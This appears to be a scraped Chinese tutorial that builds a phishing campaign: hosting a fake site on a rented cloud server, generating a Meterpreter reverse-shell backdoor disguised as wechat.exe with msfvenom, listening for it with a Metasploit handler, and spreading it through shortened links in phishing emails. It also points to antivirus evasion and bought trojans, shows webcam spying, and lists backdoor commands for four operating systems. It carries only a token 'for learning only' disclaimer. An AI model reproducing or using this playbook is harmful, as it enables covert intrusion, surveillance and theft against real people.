网站制作 网站,互联网定制产品网站,建设网站的实验目的,怎么建网站教程图解声明:内容仅供学习#xff0c;请勿违法使用#xff0c;违者后果自负
一.部署云服务器
购买一台云服务器,Windows#xff08; 中文 #xff09;版本即可
华为云官网#xff1a;https://www.huaweicloud.com/
登录后进入控制台购买完成后远程登录云服务器
二.部署WEB运行…声明:内容仅供学习请勿违法使用违者后果自负
一.部署云服务器
购买一台云服务器,Windows 中文 版本即可
华为云官网https://www.huaweicloud.com/
登录后进入控制台购买完成后远程登录云服务器
二.部署WEB运行环境
1.windows云服务器上下载并安装phpstudy
2.安装完之后选择WAMP 环境进行开启
phpstudy下载
phpStudy_64.zip
http://8.141.81.195/NTD/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E9%92%93%E9%B1%BC%E4%B8%8E%E6%9C%A8%E9%A9%AC%E5%AE%9E%E6%88%98/media/phpstudy_64.zip 通过华为云服务器公网IP地址进行访问在任意能够联网的设备浏览器中输入http://华为云公网IP例子:http://124.70.93.88/ 三.上传钓鱼网站代码文件钓鱼网站伪装 代码文件下载,下载完成后上传到云服务器:C:\phpstudy_pro\WWW目录下通过访问云服务器IP地址的
方式即可访问到网站页面 修改phpstudy配置设置默认首页为index.html(删除index.php) 在线生成二维码网址二维码生成器_网址静态码活码批量在线制作_互联二维码
将公网IP放进去转换成二维码
四.生成meterpreter后门
网站上可以放置后门程序用户在访问时直接会进行下载如果是Kali Linux服务器上可以使用msfvenom
和MSF工具生成并监听Windows可以下载以下软件(运行在Windows下的MSF):
http://8.141.81.195/NTD/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E9%92%93%E9%B1%BC%E4%B8%8E%E6%9C%A8%E9%A9%AC%E5%AE%9E%E6%88%98/media/metasploitframework-latest.msi
metasploitframework-latest.msihttp://8.141.81.195/NTD/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E9%92%93%E9%B1%BC%E4%B8%8E%E6%9C%A8%E9%A9%AC%E5%AE%9E%E6%88%98/media/metasploitframework-latest.msi 下载后安装在windows云服务器中进入到MSF bin目录下:
cmd中输入:cd C:\metasploit-framework\binmsfvenom -p windows/meterpreter/reverse_tcp lhost自己华为云服务器的公网IP lport
4444 -f exe -o wechat.exe 将wechat.exe上传到云服务器web网站根目录中
用户访问 http://华为云IP/wechat.exe 即可下载后门程序(注意用户主机需要关掉杀毒
软件与自带的病毒防御)在华为云服务器中监听后门上线:
运行C:\metasploit-framework\bin\msfconsole.bat程序
msf6 use exploit/multi/handler
msf6 set payload windows/meterpreter/reverse_tcp
msf6 set lhost 华为云公网IP
msf6 set lport 4444
msf6 run生成后在华为云服务器管理界面配置安全规则 五.邮件钓鱼链接伪装
将上一步骤的后门程序wechat.exe上传到web网站根目录C:\phpstudy_pro\WWW下用户可以通过以下链接下载后门程序华为云服务器公网IP/ wechat.exe但是如果发送此链接给到用户会较容易被识破所以可以重新生成新链接:
访问以下网站生成新的链接
在线地址转换:https://www.bejson.com/convert/shorturl/将生成的新链接构造成钓鱼邮件发送给用户一些伪装技术:
exe捆绑技术一些免杀技术:
加壳加花指令...
网站上使用加密货币购买能够绕过杀毒软件的木马....
六.钓鱼效果验证
在华为云服务器上进入msf
输入use exploit/multi/hancler
set payload windows/meterpreter/reverse_tcp
set lhost 华为云公网IP
set lport 4444
run开始监听出现meterpreter 字样代表监听成功
后续即可进行屏幕共享屏幕截图监控摄像头了
监控摄像头:
meterpreter webcam_stream
Firefox-latest.exe
http://8.141.81.195/NTD/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/%E9%92%93%E9%B1%BC%E4%B8%8E%E6%9C%A8%E9%A9%AC%E5%AE%9E%E6%88%98/media/firefox-latest.exe
附:Msfvenom生成不同系统后门命令
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST你的IP LPORT你的端口 -f exe 木马名.exeLinux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST你的IP LPORT你的端口 -f elf 木马名Android:
msfvenom -p android/meterpreter/reverse_tcp LHOST你的IP LPORT你的端口 R 木马名.apkMacOS:
msfvenom -p osx/x86/shell_reverse_tcp LHOST你的IP LPORT你的端口 -f macho 木马名.macho
